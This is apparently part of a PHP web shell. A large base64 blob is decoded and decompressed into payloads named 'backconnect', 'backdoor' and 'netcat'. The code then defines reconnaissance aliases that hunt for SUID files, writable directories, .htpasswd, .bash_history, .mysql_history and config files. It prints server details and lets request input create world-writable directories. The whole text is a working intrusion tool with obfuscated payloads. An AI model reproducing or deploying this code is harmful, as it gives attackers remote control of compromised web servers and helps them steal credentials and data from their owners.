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';
$head = base64_encode(gzuncompress(base64_decode($head_gz)));
$backconnect = base64_encode(gzuncompress(base64_decode($backconnect_gz)));
$backdoor = base64_encode(gzuncompress(base64_decode($backdoor_gz)));
$netcat = base64_encode(gzuncompress(base64_decode($netcat_gz)));
$aliases=array(
'find suid files'=>'find / -type f -perm -04000 -ls',
'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
'find sgid files'=>'find / -type f -perm -02000 -ls',
'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
'find config.inc.php files'=>'find / -type f -name config.inc.php',
'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find / -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .htpasswd files'=>'find / -type f -name .htpasswd',
'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
'list file attributes on a Linux second extended file system'=>'lsattr -va',
'show opened ports'=>'netstat -an | grep -i listen',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$commandsselects="";
foreach($aliases as $key => $val)
{
$commandsselects.="";
}
$head=base64_decode($head);
Echo str_replace('__TITLE__',getenv('HTTP_HOST'),$head);
Echo 'uname -a : ';
if(!$windows)
{
if (!command('uname -a'))
{
echo @php_uname();
}
else
{
echo command('uname -a');
}
}
else
{
Echo @php_uname();
}
if(($_POST['dirname']) && $_INPUT['CODE'] == 'dir' & $_INPUT['CODE'] == 'godir')
{
chdir($_POST['dirname']);
$dir=$_POST['dirname'];
}
elseif(($_POST['dirname']) && $_INPUT['CODE'] == 'dir' & $_INPUT['CODE'] == 'crdir')
{
mkdir($_POST['dirname']);
chmod($_POST['dirname'],0777);
chdir($_POST['dirname']);
$dir=$_POST['dirname'];
}
else
{
if($_INPUT['CODE'] != 'file')
{
if($_INPUT['path'])
{
chdir($_INPUT['path']);
}
$dir=$_INPUT['path'];
}
else
{
chdir(dirname($_INPUT['path']));
$dir=$_INPUT['path'];
}
}
if(!$dir)
{
$dir=GETCWD();
}
if(is_writable($dir))
{
$dir_rw = getcwd();
}
else
{
$dir_rw = "/tmp";
}
$md5=md5(random(5).md5(time()).random(5));
$md5=md5(md5(random(5).md5(time()).random(5)).$md5).'&';
Echo ' Safe Mode : ';
$scolor=($safemode == 'Off')?'Green':'Red';
Echo ''.$safemode.'
PHP Version : '.@phpversion().' Software :'.substr($SERVER_SOFTWARE,0,120).' ';
echo 'Disable functions : ';
if(''==($df=@ini_get('disable_functions'))){echo "\nNONE";}else{echo "$df";}
$space = @disk_total_space(GETCWD());
$free = @disk_free_space(GETCWD());
